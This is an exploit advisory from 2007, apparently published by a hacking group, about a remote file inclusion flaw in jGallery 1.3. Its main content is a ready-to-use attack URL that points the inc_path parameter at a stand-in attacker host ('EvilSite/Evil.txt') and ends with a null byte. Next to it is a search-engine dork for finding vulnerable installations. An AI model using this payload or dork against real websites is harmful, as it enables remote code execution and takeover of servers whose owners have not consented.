exploits , vulnerabilities , articles , jGallery 1.3 (index.php) Remote File Inclusion Vulnerability

Rated as : High Risk

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+                                                                         
                                        +
+                                                  Y! Underground Team    
                                        +
+                                                                         
                                        +
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+                                                                         
                                        +
+          Portal......:  jGallery 1.3                                    
                                        +
+          Author......:  Dj7xpl / Dj7xpl@Yahoo.com                       
                                        +
+          Type........:  Remote File Inclusion Vulnerability             
                                        +
+          Dork........:  intitle:"jGallery"                    
                                                  +
+          Download....: 
http://portal.kooijman-design.nl/jGallery/README.html                      
             +
+          Page........:  http://Dj7xpl.2600.ir                           
                                        +
+                                                                         
                                        +
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+                                                                         
                                        +
+          Bug.........: 
http://[Target]/[Path]/index.php?G_JGALL[inc_path]=http://[EvilSite]/Evil.txt%00
        +
+                                                                         
                                        +
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

securitydot.net - 2007-04-18